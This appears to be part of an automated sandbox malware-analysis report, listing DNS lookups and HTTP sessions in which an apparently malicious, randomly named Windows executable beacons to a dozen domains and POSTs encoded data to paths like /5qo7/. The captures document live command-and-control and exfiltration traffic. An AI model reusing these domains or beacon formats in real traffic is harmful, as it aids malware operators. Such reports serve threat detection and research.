Nov 7, 2024 12:51:50.358464003 CET	192.168.2.11	1.1.1.1	0x1d7a	Standard query (0)	www.martmall.info	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:03.872473955 CET	192.168.2.11	1.1.1.1	0x668a	Standard query (0)	www.ninesquare.games	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:17.309410095 CET	192.168.2.11	1.1.1.1	0xb72e	Standard query (0)	www.falconheights.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:30.620831966 CET	192.168.2.11	1.1.1.1	0x6912	Standard query (0)	www.18kwatch.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:44.950027943 CET	192.168.2.11	1.1.1.1	0xf468	Standard query (0)	www.myplayamate.llc	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:58.277010918 CET	192.168.2.11	1.1.1.1	0x8591	Standard query (0)	www.it2sp8.vip	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 12:49:48.444665909 CET	1.1.1.1	192.168.2.11	0x7ed5	No error (0)	www.js18456.net		154.204.174.144	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:05.223176956 CET	1.1.1.1	192.168.2.11	0x2424	No error (0)	www.wiretap.digital	wiretap.digital		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:05.223176956 CET	1.1.1.1	192.168.2.11	0x2424	No error (0)	wiretap.digital		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:05.223176956 CET	1.1.1.1	192.168.2.11	0x2424	No error (0)	wiretap.digital		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:19.877258062 CET	1.1.1.1	192.168.2.11	0xe62d	No error (0)	www.everyone.golf	everyone.golf		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:19.877258062 CET	1.1.1.1	192.168.2.11	0xe62d	No error (0)	everyone.golf		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:19.877258062 CET	1.1.1.1	192.168.2.11	0xe62d	No error (0)	everyone.golf		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:33.169121981 CET	1.1.1.1	192.168.2.11	0x335a	No error (0)	www.solidarity.rocks		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:33.169121981 CET	1.1.1.1	192.168.2.11	0x335a	No error (0)	www.solidarity.rocks		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:46.588032007 CET	1.1.1.1	192.168.2.11	0x61d7	Name error (3)	www.kmjai8jf.icu	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	www.cdqjey8g.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:50:55.320622921 CET	1.1.1.1	192.168.2.11	0xeb7a	No error (0)	b1-3-r111.kunlundns.top		43.155.76.124	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:09.215655088 CET	1.1.1.1	192.168.2.11	0x1271	No error (0)	www.pegji.online		185.151.30.221	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:23.152141094 CET	1.1.1.1	192.168.2.11	0x7b4	No error (0)	www.ambaolive.info		217.160.0.93	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:36.990746021 CET	1.1.1.1	192.168.2.11	0x54cd	No error (0)	www.cablecarrental.net	cablecarrental.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:51:36.990746021 CET	1.1.1.1	192.168.2.11	0x54cd	No error (0)	cablecarrental.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:36.990746021 CET	1.1.1.1	192.168.2.11	0x54cd	No error (0)	cablecarrental.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:50.381742954 CET	1.1.1.1	192.168.2.11	0x1d7a	No error (0)	www.martmall.info		209.74.64.189	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:03.998281002 CET	1.1.1.1	192.168.2.11	0x668a	No error (0)	www.ninesquare.games	ninesquare.games		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:52:03.998281002 CET	1.1.1.1	192.168.2.11	0x668a	No error (0)	ninesquare.games		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:03.998281002 CET	1.1.1.1	192.168.2.11	0x668a	No error (0)	ninesquare.games		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:17.323687077 CET	1.1.1.1	192.168.2.11	0xb72e	No error (0)	www.falconheights.net	falconheights.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:52:17.323687077 CET	1.1.1.1	192.168.2.11	0xb72e	No error (0)	falconheights.net		76.223.105.230	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:17.323687077 CET	1.1.1.1	192.168.2.11	0xb72e	No error (0)	falconheights.net		13.248.243.5	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:31.037877083 CET	1.1.1.1	192.168.2.11	0x6912	No error (0)	www.18kwatch.com		202.87.223.248	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:44.968539953 CET	1.1.1.1	192.168.2.11	0xf468	No error (0)	www.myplayamate.llc	myplayamate.llc		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:52:44.968539953 CET	1.1.1.1	192.168.2.11	0xf468	No error (0)	myplayamate.llc		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:44.968539953 CET	1.1.1.1	192.168.2.11	0xf468	No error (0)	myplayamate.llc		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:58.289475918 CET	1.1.1.1	192.168.2.11	0x8591	No error (0)	www.it2sp8.vip	it2sp8.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 12:52:58.289475918 CET	1.1.1.1	192.168.2.11	0x8591	No error (0)	it2sp8.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:52:58.289475918 CET	1.1.1.1	192.168.2.11	0x8591	No error (0)	it2sp8.vip		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.js18456.net

www.wiretap.digital

www.everyone.golf

www.solidarity.rocks

www.cdqjey8g.sbs

www.pegji.online

www.ambaolive.info

www.cablecarrental.net

www.martmall.info

www.ninesquare.games

www.falconheights.net

www.18kwatch.com

www.myplayamate.llc

www.it2sp8.vip

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49931	154.204.174.144	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:49:48.464101076 CET	506	OUT	GET /byug/?E2fH=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cXrz91+K4b8Ld2EqmqWGcnUCnJm719DUTRgg=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.js18456.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:49:49.422355890 CET	485	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 11:49:49 GMT Content-Type: text/html Content-Length: 215 Last-Modified: Wed, 10 Jul 2024 08:50:40 GMT Connection: close ETag: "668e4b60-d7" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6b 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 26 23 78 35 31 45 46 3b 26 23 78 35 33 44 31 3b 32 30 26 23 78 35 45 37 34 3b 2c 26 23 78 34 45 30 30 3b 26 23 78 38 44 45 46 3b 26 23 78 35 34 30 43 3b 26 23 78 38 38 34 43 3b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><script src="/kf.js"></script><head><title>凯发20年,一路同行</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49975	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:05.243096113 CET	779	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 76 74 4e 50 77 49 38 78 73 63 4c 77 2f 45 45 57 75 51 49 52 7a 41 6f 64 75 47 2b 68 32 62 54 4d 4d 48 68 66 77 2b 54 71 6e 76 48 4e 77 75 35 69 6a 39 6c 6c 48 56 2b 38 77 7a 6d 47 54 32 7a 37 4e 36 57 7a 67 38 78 68 65 44 70 75 53 67 50 79 79 31 4a 58 71 41 67 44 77 30 6d 55 73 4a 63 73 59 49 65 7a 59 46 37 4f 7a 79 4b 38 55 6c 42 6d 4c 64 6f 5a 52 58 57 74 4b 75 6b 79 70 36 70 6e 46 6c 34 6f 42 69 30 71 57 38 54 6f 43 6e 74 66 42 66 6d 44 61 44 36 49 74 71 50 6b 4a 46 38 57 2b 30 6c 4f 2f 69 58 41 49 4a 6c 67 44 2f 44 42 35 57 46 4c 30 41 3d 3d Data Ascii: E2fH=NKFxexA4kYLzvtNPwI8xscLw/EEWuQIRzAoduG+h2bTMMHhfw+TqnvHNwu5ij9llHV+8wzmGT2z7N6Wzg8xheDpuSgPyy1JXqAgDw0mUsJcsYIezYF7OzyK8UlBmLdoZRXWtKukyp6pnFl4oBi0qW8ToCntfBfmDaD6ItqPkJF8W+0lO/iXAIJlgD/DB5WFL0A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49976	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:07.790436029 CET	799	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 74 4d 39 50 33 76 67 78 72 38 4c 33 7a 6b 45 57 68 77 49 56 7a 41 6b 64 75 43 4f 78 32 70 33 4d 4e 6d 52 66 78 2f 54 71 67 76 48 4e 36 4f 34 70 6e 39 6c 75 48 56 69 43 77 32 65 47 54 32 6e 37 4e 36 6d 7a 6e 4e 78 69 66 54 70 73 47 51 50 38 39 56 4a 58 71 41 67 44 77 30 79 2b 73 4a 45 73 5a 35 75 7a 61 6e 54 50 74 69 4b 7a 54 6c 42 6d 50 64 6f 56 52 58 57 50 4b 71 39 58 70 34 42 6e 46 68 38 6f 51 51 51 74 63 38 54 78 4f 33 73 62 47 75 6e 74 56 68 7a 39 70 72 66 4a 50 45 41 56 79 53 30 55 76 42 65 58 4c 61 74 69 58 5a 69 78 77 6e 67 43 76 48 58 34 6b 46 4f 58 59 30 78 4a 72 5a 52 4e 76 47 57 41 4d 4d 67 3d Data Ascii: E2fH=NKFxexA4kYLztM9P3vgxr8L3zkEWhwIVzAkduCOx2p3MNmRfx/TqgvHN6O4pn9luHViCw2eGT2n7N6mznNxifTpsGQP89VJXqAgDw0y+sJEsZ5uzanTPtiKzTlBmPdoVRXWPKq9Xp4BnFh8oQQQtc8TxO3sbGuntVhz9prfJPEAVyS0UvBeXLatiXZixwngCvHX4kFOXY0xJrZRNvGWAMMg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49977	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:10.338145971 CET	1812	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 74 4d 39 50 33 76 67 78 72 38 4c 33 7a 6b 45 57 68 77 49 56 7a 41 6b 64 75 43 4f 78 32 70 2f 4d 4d 55 5a 66 77 63 37 71 68 76 48 4e 68 4f 34 71 6e 39 6c 7a 48 56 71 47 77 33 6a 37 54 31 66 37 4e 5a 75 7a 6d 35 74 69 56 54 70 73 45 51 50 78 79 31 49 58 71 41 77 48 77 33 4b 2b 73 4a 45 73 5a 36 47 7a 4d 6c 37 50 76 69 4b 38 55 6c 42 69 4c 64 6f 35 52 58 2b 31 4b 71 77 69 70 4a 68 6e 47 46 59 6f 53 43 49 74 55 38 54 7a 50 48 73 39 47 72 2f 75 56 68 65 43 70 72 72 6a 50 45 6f 56 69 57 68 34 30 68 76 4b 51 71 77 52 4b 71 47 51 38 6d 42 42 75 48 4c 4e 6b 6d 4f 59 45 41 78 6b 69 49 6b 32 2b 55 4f 4b 51 4a 49 55 65 6a 5a 7a 73 2b 47 59 31 61 74 52 62 70 38 44 33 31 51 32 52 42 45 5a 45 42 32 6e 77 64 35 6b 72 59 6b 4c 65 42 34 74 55 6e 42 57 34 49 39 43 48 79 64 42 59 76 4f 4c 6a 65 57 75 46 75 56 30 65 57 66 50 63 35 6e 67 59 72 59 5a 36 78 72 6d 75 69 5a 70 33 63 73 65 34 35 71 42 72 4e 2f 50 44 38 4c 61 51 44 4d 2f 75 44 55 39 33 30 78 47 58 6e 41 4f 2b [TRUNCATED] Data Ascii: E2fH=NKFxexA4kYLztM9P3vgxr8L3zkEWhwIVzAkduCOx2p/MMUZfwc7qhvHNhO4qn9lzHVqGw3j7T1f7NZuzm5tiVTpsEQPxy1IXqAwHw3K+sJEsZ6GzMl7PviK8UlBiLdo5RX+1KqwipJhnGFYoSCItU8TzPHs9Gr/uVheCprrjPEoViWh40hvKQqwRKqGQ8mBBuHLNkmOYEAxkiIk2+UOKQJIUejZzs+GY1atRbp8D31Q2RBEZEB2nwd5krYkLeB4tUnBW4I9CHydBYvOLjeWuFuV0eWfPc5ngYrYZ6xrmuiZp3cse45qBrN/PD8LaQDM/uDU930xGXnAO+v0Zum/fOU6KOLqp1mSi8Gd0ORwZ02kaG45UbuZyPh0g8kL3E4QoLaD4xT7GeBScxbD/Hmg+d9WyUCuPcSWFtYRqsfcBufK5NdGHUdy8V0cQ3zUPCBBRHuuouT+4DYHqpEB9OwNNTnVerNbOCYJG+E6EbVGgcnUsb7vYhy3ik+sNcYBjC0OR0nVAuz3uBQFtOeMl3fiKMmz9CyzlqHtsowPp9VH2grOZoBW8FGX+1Y5hB+9x5RIdmicwqQxW3UNOawl2cs41jbhx2f+ltmTYWkewOpWleReJuqrBAhh48onXUTTQSsTtC4fu6w32lPmzHwOaO6+t6UR43MAlBOIYbPKiJOmU9x9thm5+HpZ5mFb3+rfoKkxydy1feGpOKmFJMtyOTleXPv3mQWS5wKwKM1gGhfsNvUPAcM6eoDXxbXvG/YVBSkWk4POI0qF29Mt7Se6JZqOKmsy69LJ1Ck9sKHixFzWib6dweInZBJ87x37cOHPwHldp3ZGzgAtElzea69Lz2Y/4Sy842JLzp66pLL5BML36jm4gOnr81jusDpCOLwLyR2ZA9eQoVr8k0biUqo5EnPr8NFVwLXl6WMOjT8xhIfN2+1wwo+suR/e4dJcqcGhlrheuWT5VrhLRuw8rJLklzj0JF1MqRGBTKEPweBemexkKeDpxnKN [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49978	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:13.266226053 CET	510	OUT	GET /5qo7/?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:50:14.834243059 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:50:13 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 45 32 66 48 3d 41 49 74 52 64 48 49 53 74 61 72 53 67 4a 46 72 35 34 4d 61 76 4d 65 67 71 6c 70 48 6d 78 45 46 6a 7a 78 7a 71 42 33 36 2f 73 6d 30 47 32 6b 70 39 4e 58 42 6a 61 6e 68 78 39 49 6f 74 50 46 6c 43 52 69 71 36 58 6e 6d 64 58 79 34 4e 35 47 4f 6a 63 46 6c 65 78 31 43 46 51 58 2b 34 6c 51 71 6c 44 49 6d 36 46 71 4f 36 73 38 39 62 74 76 6c 54 47 6d 34 31 69 67 3d 26 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo"}</script></head></html>
Nov 7, 2024 12:50:14.834352016 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:50:13 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 45 32 66 48 3d 41 49 74 52 64 48 49 53 74 61 72 53 67 4a 46 72 35 34 4d 61 76 4d 65 67 71 6c 70 48 6d 78 45 46 6a 7a 78 7a 71 42 33 36 2f 73 6d 30 47 32 6b 70 39 4e 58 42 6a 61 6e 68 78 39 49 6f 74 50 46 6c 43 52 69 71 36 58 6e 6d 64 58 79 34 4e 35 47 4f 6a 63 46 6c 65 78 31 43 46 51 58 2b 34 6c 51 71 6c 44 49 6d 36 46 71 4f 36 73 38 39 62 74 76 6c 54 47 6d 34 31 69 67 3d 26 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo"}</script></head></html>
Nov 7, 2024 12:50:14.834724903 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:50:13 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 45 32 66 48 3d 41 49 74 52 64 48 49 53 74 61 72 53 67 4a 46 72 35 34 4d 61 76 4d 65 67 71 6c 70 48 6d 78 45 46 6a 7a 78 7a 71 42 33 36 2f 73 6d 30 47 32 6b 70 39 4e 58 42 6a 61 6e 68 78 39 49 6f 74 50 46 6c 43 52 69 71 36 58 6e 6d 64 58 79 34 4e 35 47 4f 6a 63 46 6c 65 78 31 43 46 51 58 2b 34 6c 51 71 6c 44 49 6d 36 46 71 4f 36 73 38 39 62 74 76 6c 54 47 6d 34 31 69 67 3d 26 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49979	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:19.895265102 CET	773	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 4a 5a 77 43 71 70 65 41 56 48 6b 6e 64 35 52 68 70 46 57 74 70 67 68 50 31 6a 58 6f 33 2f 6f 47 49 59 72 47 6f 46 37 4b 76 57 31 53 57 78 30 43 45 54 71 39 62 62 45 53 38 39 33 37 72 35 4e 59 36 46 4b 51 79 78 2b 48 78 4c 61 6d 71 63 30 56 62 57 66 62 71 56 46 36 7a 6d 36 55 75 33 6e 6c 62 73 70 5a 6f 6e 4f 4a 7a 47 35 46 72 4c 66 6d 49 6f 6e 4b 41 79 52 78 69 35 52 2f 4e 6d 38 6d 6b 57 41 75 68 64 4d 33 39 7a 72 77 6a 42 4a 51 67 39 56 4e 73 67 52 44 45 53 63 52 61 45 4c 53 54 78 31 44 6b 59 45 4b 36 39 4f 43 76 67 32 51 68 75 74 33 51 51 3d 3d Data Ascii: E2fH=1d1Jo0UMSTBnJZwCqpeAVHknd5RhpFWtpghP1jXo3/oGIYrGoF7KvW1SWx0CETq9bbES8937r5NY6FKQyx+HxLamqc0VbWfbqVF6zm6Uu3nlbspZonOJzG5FrLfmIonKAyRxi5R/Nm8mkWAuhdM39zrwjBJQg9VNsgRDEScRaELSTx1DkYEK69OCvg2Qhut3QQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49981	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:22.431248903 CET	793	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 49 35 41 43 6d 71 47 41 43 33 6b 6d 53 5a 52 68 6e 56 57 70 70 67 6c 50 31 69 6a 43 33 4d 63 47 4a 34 37 47 70 45 37 4b 73 57 31 53 5a 52 30 4e 62 44 71 4d 62 62 49 67 38 39 37 37 72 35 4a 59 36 41 32 51 78 43 6d 45 33 4c 61 6b 6e 38 30 62 66 57 66 62 71 56 46 36 7a 6d 2f 63 